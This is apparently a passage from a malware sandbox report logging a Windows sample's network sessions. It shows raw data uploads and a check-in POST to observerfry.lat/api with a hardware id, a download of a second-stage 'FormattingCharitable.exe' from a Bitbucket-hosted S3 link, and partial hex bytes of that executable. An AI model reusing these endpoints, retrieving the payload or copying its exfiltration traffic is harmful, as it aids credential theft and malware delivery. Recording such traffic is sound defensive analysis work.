2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 4f fc 3a 16 74 ed 16 49 77 96 6a 76 c0 87 97 75 3b 7e f7 40 4c 4c d4 34 69 bb 84 02 6b 21 97 df ac 86 01 67 f5 ae f7 89 81 b2 c7 f9 da d0 27 dc 58 c0 ca 93 cf ff 3c cd 44 81 43 03 fa 87 6e 5a 47 b4 82 ef eb c4 fa 4e 8f a1 76 71 70 b6 1f 06 a5 f0 32 b9 09 47 b9 ba 16 97 82 0b 00 61 80 aa a4 df c2 4a 9d 48 47 1c a0 b6 b2 5d 24 87 2e fc f5 6f ee ef 05 7c 8b 31 a9 06 d7 47 4b ed 7c cb 9c b2 fa 42 b5 e2 35 26 89 88 31 16 5b 3b 56 93 c7 79 21 ba 00 ef 09 03 c3 3a c2 62 63 a3 fc 64 38 36 4b 70 ee 9f ad 12 09 f7 df 35 9e 97 02 80 bd 85 79 93 93 52 d8 de 9b 6f d0 60 17 00 65 de 12 99 97 40 53 17 e3 ba 0c eb 56 ce 39 92 39 2a 1a c6 7d fd e2 4c 1a a9 38 a2 f6 29 4a 26 3e 94 54 57 5c 13 96 23 6f a8 9c d8 78 6a 7b 5d 65 64 9a 6c 4f 1d ec 4a ed 79 ec aa 5e 7f 7e 16 fb Data Ascii: O:tIwjvu;~@LL4ik!g'X<DCnZGNvqp2GaJHG]$.o\|1GK\|B5&1[;Vy!:bcd86Kp5yRo`e@SV99*}L8)J&>TW\#oxj{]edlOJy^~
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: bb 2f 0a 51 fe 3b 28 ea 91 30 d8 25 af ff ff 64 fb a3 e8 4f a9 89 3b 1b 05 9b bc 1e 1e 56 f9 d8 e2 ec 60 87 40 be b0 a1 d4 56 89 c5 3a fa 8f e3 3b 7a 23 7b 07 e8 e5 75 c2 b5 3a 36 94 7f 77 16 25 d6 2a 62 f0 32 19 91 13 9f d2 ef cc d3 0f f2 0d 73 6b fe 93 7c 34 30 08 06 2c 6f fb 87 d1 b4 ff c6 dc 12 0a d2 23 55 fd f5 47 1b dc e0 2a 77 7b ff 40 bb 52 bf 03 32 96 7b 38 25 2d 15 c2 6f 2e 29 e9 14 f7 0a d3 cf de 3d 41 fa 1c 86 a3 19 48 44 30 8e 4a 93 5d 88 cb 99 16 c8 9e 28 fa 69 64 5a 00 17 3f 87 1a 88 06 6c 09 ee 0f 59 99 a0 c9 8c 93 6b ad 83 62 2f 75 c4 86 72 8a 5f a1 d4 f4 cf 29 3c b0 34 31 e2 4d 6e e6 b0 9a 4d 51 91 48 88 4f a0 40 9e 16 ad 0f 9f 7e 0d 25 ba 30 46 6f ad 02 b2 6b a8 49 cb 81 54 5f 52 0b f6 f7 99 da f3 7b 96 bf 1d a4 56 ec fa 6d 9f 9b 95 88 Data Ascii: /Q;(0%dO;V`@V:;z#{u:6w%b2sk\|40,o#UGw{@R2{8%-o.)=AHD0J](idZ?lYkb/ur_)<41MnMQHO@~%0FokIT_R{Vm
2024-12-24 07:42:43 UTC	15331	OUT	Data Raw: 9c 83 34 fc 50 6f f0 cf 76 2c b5 33 b8 71 70 3c fc 06 4b 0e 47 a2 52 92 46 e4 27 80 e0 1d 85 0e aa 98 ca 8a 25 26 4a d4 53 10 eb 6b 7e c4 06 20 24 b1 6d ff d3 3a 40 ad d1 e1 62 82 c1 68 bb 05 de 5f 58 ed c3 55 4f a6 cd 7b 41 2b 08 41 48 f1 5e 6b 98 9a c2 7d 50 24 ab 70 fe bd 8f 94 63 e2 c4 6c 96 7d 45 de 1e 75 9f 5f 26 80 0d 78 2f d4 43 fc a8 57 e3 29 29 b0 33 12 b8 b4 23 de 59 cd 8a ee 46 d8 8a 1d d7 41 9a 38 5d 74 d0 e7 56 7d 43 f4 c9 04 01 92 11 0f cf 45 52 95 a0 cd 73 67 b8 7d b6 8d 58 89 f6 51 75 ba 67 68 fa 6c 1c 9a 4f f6 22 73 c6 67 2d 53 4d 99 6f 6b 03 75 89 c4 4b cb e3 0f 04 d1 c5 2d 62 e8 b8 80 01 c0 9d ce d4 23 22 43 c0 e5 de 1c db 7a df 25 de 51 43 6f 98 75 42 54 c8 ba c6 84 7f 03 e9 69 71 ea 73 ad 81 bd 07 d9 79 46 7c 34 ca f5 94 54 3b 86 fb Data Ascii: 4Pov,3qp<KGRF'%&JSk~ $m:@bh_XUO{A+AH^k}P$pcl}Eu_&x/CW))3#YFA8]tV}CERsg}XQughlO"sg-SMokuK-b#"Cz%QCouBTiqsyF\|4T;
2024-12-24 07:42:46 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1agandckttthm9oi222ok0vja8; expires=Sat, 19 Apr 2025 01:29:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FsJZ0ZrBady8P76jyb1iOgFTADj61qtwBPpuJMY%2BTQt48yPOQ%2BHkI%2B5fWQvMVGFHCgmnecWolua1B%2FXYrBBzSddpV9w%2FHVi1bdjmQ1C1pWOgKrWH6vPOwC8OGDakDkFBMTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef4d08b8d6a56-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1739&rtt_var=686&sent=331&recv=591&lost=0&retrans=0&sent_bytes=2836&recv_bytes=572175&delivery_rate=1679125&cwnd=224&unsent_bytes=0&cid=c8a9fa89fc0d370b&ts=3537&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	172.67.199.72	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:47 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: observerfry.lat
2024-12-24 07:42:47 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 41 34 32 32 39 39 39 31 46 32 35 43 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=3A4229991F25CF36BEBA0C6A975F1733
2024-12-24 07:42:48 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:42:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd7uhcur1nlgpakni7qfmobhme; expires=Sat, 19 Apr 2025 01:29:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tUITFNPdCq6g7TVvuBStsErmXpOpuT3Qj1ZnWfTVGQ82%2BwqFLKHbDrkquz6Ip6D9uFIo9%2FmsFjM6%2BqcAZ4uzwFThYzJt7ucm1qTngBRyXkcLWKX9StaW7lHPs7veEEu5XL0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ef4eefb3b41ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1652&rtt_var=630&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=987&delivery_rate=1723730&cwnd=252&unsent_bytes=0&cid=ce0e1f6f40583e28&ts=788&x=0"
2024-12-24 07:42:48 UTC	246	IN	Data Raw: 31 31 30 0d 0a 5a 6f 69 57 53 67 2f 52 71 58 51 7a 50 35 4f 39 2b 71 67 68 4c 49 36 50 67 77 59 6c 49 6b 54 52 53 4a 62 71 77 62 64 4c 38 2b 38 39 38 37 51 2f 4c 65 75 4c 48 45 64 4c 34 38 37 41 39 41 35 77 6f 65 33 71 63 6b 64 58 4a 37 6f 74 34 73 53 75 78 53 79 76 77 41 76 78 2b 43 39 34 70 73 59 47 57 45 7a 6a 33 4a 6e 4e 45 42 36 39 76 4c 49 30 65 51 30 33 73 69 62 79 74 75 37 54 4a 49 53 42 43 75 66 33 4c 6e 79 4e 68 6a 4a 63 54 66 37 63 6a 74 78 49 51 75 6e 4d 36 32 64 58 53 7a 43 77 4b 76 71 50 37 39 49 7a 6c 73 31 4b 71 76 41 2b 4c 65 75 5a 57 42 46 61 73 59 66 4c 31 51 31 58 72 50 71 68 50 41 64 4b 4d 4b 55 34 72 4c 62 75 36 32 54 43 31 31 4f 6d 70 48 73 36 2f 35 68 46 41 42 47 69 69 36 61 48 54 6b 72 6f 30 36 78 69 51 Data Ascii: 110ZoiWSg/RqXQzP5O9+qghLI6PgwYlIkTRSJbqwbdL8+8987Q/LeuLHEdL487A9A5woe3qckdXJ7ot4sSuxSyvwAvx+C94psYGWEzj3JnNEB69vLI0eQ03sibytu7TJISBCuf3LnyNhjJcTf7cjtxIQunM62dXSzCwKvqP79Izls1KqvA+LeuZWBFasYfL1Q1XrPqhPAdKMKU4rLbu62TC11OmpHs6/5hFABGii6aHTkro06xiQ
2024-12-24 07:42:48 UTC	33	IN	Data Raw: 45 52 71 74 44 44 7a 79 4f 32 56 4c 59 66 4e 58 4c 69 36 61 47 72 7a 6b 30 56 4f 59 67 3d 3d 0d 0a Data Ascii: ERqtDDzyO2VLYfNXLi6aGrzk0VOYg==
2024-12-24 07:42:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49735	185.166.143.50	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:50 UTC	248	OUT	GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bitbucket.org
2024-12-24 07:42:51 UTC	5935	IN	HTTP/1.1 302 Found Date: Tue, 24 Dec 2024 07:42:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FRO [TRUNCATED] Expires: Tue, 24 Dec 2024 07:42:50 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 2966605e55b4 X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 440 X-Render-Time: 0.04975700378417969 X-B3-Traceid: a29a85dff0f6469e849a6d4e2d699da7 X-B3-Spanid: 825264958ceb4846 X-Frame-Options: SAMEORIGIN Content-Security-Policy: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; object-src 'none'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketc [TRUNCATED] X-Usage-Quota-Remaining: 999062.941 X-Usage-Request-Cost: 951.70 X-Usage-User-Time: 0.028551 X-Usage-System-Time: 0.000000 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: a29a85dff0f6469e849a6d4e2d699da7 Atl-Request-Id: a29a85df-f0f6-469e-849a-6d4e2d699da7 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=167,atl-edge-internal;dur=5,atl-edge-upstream;dur=164,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49744	3.5.17.0	443	4696	C:\Users\user\Desktop\iaLId0uLUw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:42:52 UTC	1344	OUT	GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2B [TRUNCATED] Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bbuseruploads.s3.amazonaws.com
2024-12-24 07:42:53 UTC	566	IN	HTTP/1.1 200 OK x-amz-id-2: ELNYvWTViUO5ZfOvmm41GYqfEKIzLkVQI19a0wPrq+K8JXFlhqY9ECJFNa5LXpe5urBdbLkzeGxvmQT4+2JVNQ== x-amz-request-id: WVPXRREXCBM0XJ39 Date: Tue, 24 Dec 2024 07:42:54 GMT Last-Modified: Sun, 22 Dec 2024 18:56:57 GMT ETag: "73565a0bcdcb7ff5f9ce005a2530e215" x-amz-server-side-encryption: AES256 x-amz-version-id: 7hbzHT1uhpKzZ7nBtmVCaxIrBpJnNbOS Content-Disposition: attachment; filename="FormattingCharitable.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Content-Length: 1325507 Server: AmazonS3 Connection: close
2024-12-24 07:42:53 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 f0 0b 00 00 42 00 00 af 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8
2024-12-24 07:42:53 UTC	458	IN	Data Raw: 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 c7 45 14 01 00 00 00 c7 45 0c 0f 04 00 00 83 7d 0c 4e b8 13 04 00 00 74 09 39 45 0c 0f 85 dc 00 00 00 8b 7d 14 39 45 0c 74 0d 81 7f 04 08 04 00 00 0f 85 c7 00 00 00 f7 05 08 eb 47 00 00 02 00 00 75 79 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 6b 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 f4 fb ff ff 3b c3 7c 56 8b 55 e8 8b c8 69 c9 20 40 00 00 8d 54 11 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 c2 c4 ff ff a1 08 eb 47 00 33 c9 c1 e8 08 41 f7 d0 23 c1 89 4d 10 89 45 14 c7 45 0c 0f 04 00 00 3b fb 74 3e 81 7f 08 3d fe ff ff 75 0e ff 77 5c 53 68 19 04 00 00 ff 75 fc ff d6 81 7f 08 39 Data Ascii: u{u3}u]EE}Nt9E}9EtGuy9EtMyuk39EQu;\|VUi @Tu@@tyPG3A#MEE;t>=uw\Shu9
2024-12-24 07:42:53 UTC	16384	IN	Data Raw: 2c 90 40 00 a1 6c 1d 44 00 3b c3 74 07 50 ff 15 30 91 40 00 89 1d 68 1d 44 00 89 1d 6c 1d 44 00 89 1d 10 eb 47 00 81 7d 0c 0f 04 00 00 0f 85 4b 01 00 00 53 53 e8 f4 c3 ff ff 39 5d 10 74 07 6a 08 e8 0d c6 ff ff 39 5d 14 74 3f ff 35 6c 1d 44 00 e8 d1 c4 ff ff 8b f8 57 e8 7e c4 ff ff 33 c0 33 c9 3b fb 7e 0e 8b 55 e4 39 1c 82 74 01 41 40 3b c7 7c f2 53 51 68 4e 01 00 00 ff 75 f8 ff d6 89 7d 14 c7 45 0c 20 04 00 00 53 53 e8 9d c3 ff ff a1 6c 1d 44 00 89 45 e0 a1 c8 ea 47 00 c7 45 c4 30 f0 00 00 89 5d e8 39 1d cc ea 47 00 0f 8e a1 00 00 00 8d 78 08 8b 45 e0 8b 4d e8 8b 04 88 3b c3 74 79 8b 0f 89 45 bc c7 45 b8 08 00 00 00 f7 c1 00 01 00 00 74 13 8d 47 10 c7 45 b8 09 00 00 00 89 45 c8 81 27 ff fe ff ff f6 c1 40 74 05 6a 03 58 eb 0e 8b c1 83 e0 01 40 f6 c1 10 74 Data Ascii: ,@lD;tP0@hDlDG}KSS9]tj9]t?5lDW~33;~U9tA@;\|SQhNu}E SSlDEGE0]9GxEM;tyEEtGEE'@tjX@t
2024-12-24 07:42:53 UTC	1024	IN	Data Raw: 77 00 00 00 00 00 50 00 6f 00 70 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 65 00 6d 00 70 00 74 00 79 00 00 00 00 00 45 00 78 00 63 00 68 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 3c 00 20 00 25 00 64 00 20 00 65 00 6c 00 65 00 6d 00 65 00 6e 00 74 00 73 00 00 00 52 00 4d 00 44 00 69 00 72 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 3a 00 20 00 25 00 64 00 2c 00 22 00 25 00 73 00 22 00 00 00 44 00 65 00 6c 00 65 00 74 00 65 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 25 00 73 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 77 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 74 00 6f 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 65 Data Ascii: wPop: stack emptyExch: stack < %d elementsRMDir: "%s"MessageBox: %d,"%s"Delete: "%s"%sFile: wrote %d to "%s"File: e
2024-12-24 07:42:53 UTC	16384	IN	Data Raw: 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 2d 00 20 00 61 00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 65 00 78 00 69 00 73 00 74 00 73 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 65 00 72 00 72 00 3d 00 25 00 64 00 29 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 25 00 64 00 29 00 00 00 00 00 53 00 65 00 74 00 46 00 69 Data Ascii: ectory: can't create "%s" - a file already existsCreateDirectory: can't create "%s" (err=%d)CreateDirectory: "%s" (%d)SetFi
2024-12-24 07:42:53 UTC	1024	IN	Data Raw: 02 ab 3a 7c 39 58 c5 d6 e5 20 f1 ec 08 ce 07 cd e8 df bf 7f 82 30 a8 57 9f 88 81 3d 7b 87 3d 3d 76 58 69 b7 f9 13 7f db ed 8d 09 ff d1 73 ec 8b 65 98 86 79 fa f2 e6 7a 40 df be 7d 13 00 c6 9f 7d d6 c6 c5 d3 9f bd 88 67 9e 79 a6 55 d8 60 c7 f7 ec d9 33 01 60 5c 47 a6 5b cd 7f e2 89 27 e2 d9 70 26 00 8c b7 95 47 1f 7d f4 b2 e0 c6 c1 45 74 eb f6 70 d4 93 0f 3e 19 33 fc 91 21 b5 53 9e 9a f0 a7 89 3d c7 fd f9 b9 47 fb d5 3d d8 fd c1 98 ae dd ba 46 61 19 36 81 6d 82 8d 5a 6b 24 e8 b0 e9 32 89 07 dc 28 8c e3 f9 71 fc 19 ab c3 26 31 9a 3f 0f f1 32 5e 6c 78 b6 b7 6f df 7e f9 cf 7e f6 b3 79 d0 16 d6 18 9c 2a c0 a9 01 31 01 72 f1 e5 c3 8c 98 00 68 15 34 0b da 65 75 2a 00 5a f7 c3 30 00 fd 37 1c 19 f4 dc ba 7a df 7e 6b ea f7 0d 5c 53 89 1d be 9a 03 0a 41 5a ff 28 18 Data Ascii: :\|9X 0W={==vXiseyz@}}gyU`3`\G['p&G}Etp>3!S=G=Fa6mZk$2(q&1?2^lxo~~y1rh4euZ07z~k\SAZ(
2024-12-24 07:42:53 UTC	1749	IN	Data Raw: 65 8b 42 be 6f dd ba 55 21 d3 b7 6d db d6 0c 99 2f df b7 6f df ae d0 97 b9 12 64 7d e6 7a e5 7f e5 bf f5 ef 3a b2 dd 82 be af 40 ca 40 ca 05 65 85 f2 43 59 a2 7c d9 20 71 99 2f 27 36 0c c4 86 41 21 e3 6c b2 88 cd 83 e2 bd f7 de 53 98 df 4d d8 64 34 03 c7 d9 0a 36 21 cd 90 7a e1 08 a9 3f 26 66 3d 33 eb a3 59 6f cd 7a 2e 48 1c 98 71 62 62 c6 99 19 87 82 19 af 12 c7 12 df 8a 99 1c f3 af 4c a7 59 d3 67 d0 ac 19 b6 7c f0 ca f4 57 88 8d 0b 21 af e8 4c 9e 3c b9 19 6c 4e 2c 61 93 d2 08 1b 15 e2 1c a5 c6 f1 1b 36 40 6d 5e 9f be 1e 80 f5 58 c1 c6 a6 19 dc 08 52 b0 d9 69 06 e7 4b 4b d8 cc 28 d8 bc 34 83 cd 8b 82 4d 8b 25 6c 62 14 c3 86 0d a3 a1 c3 87 d2 d0 61 43 69 cc 8b a3 69 da f3 93 68 76 5f 2e d3 9e 36 03 30 72 c0 70 1a f2 e2 10 7a e1 c5 17 88 f3 36 b1 99 69 06 Data Ascii: eBoU!m/od}z:@@eCY\| q/'6A!lSMd46!z?&f=3Yoz.HqbbLYg\|W!L<lN,a6@m^XRiKK(4M%lbaCiihv_.60rpz6i
2024-12-24 07:42:53 UTC	16384	IN	Data Raw: b5 cb 97 d9 92 b5 3d 81 9b 49 5f 84 41 04 45 04 48 10 01 14 4c 23 e0 c8 10 08 ba 19 d0 d1 c5 f9 4a b0 5a b7 15 b2 3d cd b7 db de 5d bf 89 5b fc 9b 9d 68 db 96 0d b4 67 e3 db b4 67 c3 02 da ba 7e 19 ad 5b bf 81 d6 ae 6b de 7a 17 74 31 c5 38 ca 04 42 bf 73 e7 ce 46 03 00 f0 5d 4e 49 c0 b0 60 5b d4 7f da cd 85 ac 5b d6 27 c7 c3 c4 3c 5e e6 74 a0 7a 7b 98 b5 7c bc 37 b1 b8 82 75 38 ee f6 e9 6a 19 7b 3d 50 62 6e 67 2d 0b f5 86 95 dc fa df b0 91 de 75 da a3 58 c5 fb be 01 46 80 d7 21 3d 04 8a ab 24 f0 82 59 9f 05 5d e0 ad d0 7b 0b 00 7a 01 10 37 88 65 3d 77 58 09 bb 88 bb 15 66 f7 34 7e 8b 75 8a 01 b0 12 79 9d d6 84 5e 30 85 5e 84 5b 04 be 35 a1 37 05 5e be 9b c8 f2 92 4f 80 be 1d d8 46 d9 ee c6 cf 77 f9 f3 5d db 27 10 73 23 06 48 7a 61 a4 ec e5 78 e8 c7 05 e3 Data Ascii: =I_AEHL#JZ=][hgg~[kzt18BsF]NI`[['<^tz{\|7u8j{=Pbng-uXF!=$Y]{z7e=wXf4~uy^0^[57^OFw]'s#Hzax
